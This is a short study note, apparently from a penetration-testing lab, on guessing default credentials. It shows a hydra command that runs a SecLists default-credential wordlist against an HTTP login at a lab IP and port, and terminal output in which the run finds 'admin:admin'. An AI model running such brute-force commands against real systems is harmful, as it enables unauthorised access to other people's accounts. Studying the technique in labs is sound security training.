---
title: "3. Default passwords"
date: 2024-09-25
draft: false
---

If we don't know any potential users, we can provide different wordlists for usernames and passwords and iterate over each. 
Not a great solution. 

Sometimes find users with username-as-password i.e. `test:test`

We can check `/usr/share/wordlists/seclists/Passwords/Default-Credentials` for common default pw lists.
Example uses `ftp-betterdefaultpasslist.txt`

```bash
hydra -C /usr/share/seclists/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt 178.211.23.155 -s 31099 http-get /
```

`-s` port
`-C` = Combined credentials wordlist

```bash
It's pretty common for administrators to overlook test or default accounts and their credentials. That is why it is always advised to start by scanning for default credentials, as they are very commonly left unchanged. It is even worth testing for the top 3-5 most common default credentials manually, as it can very often be found to be used.
```

```bash
┌──(root㉿kali)-[~]
└─# hydra -C /usr/share/wordlists/seclists/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt 94.237.53.113 -s 30445 http-get /
Hydra v9.6dev (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-09-25 19:52:04
[DATA] max 16 tasks per 1 server, overall 16 tasks, 66 login tries, ~5 tries per task
[DATA] attacking http-get://94.237.53.113:30445/
[30445][http-get] host: 94.237.53.113   login: admin   password: admin
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-09-25 19:52:07
```

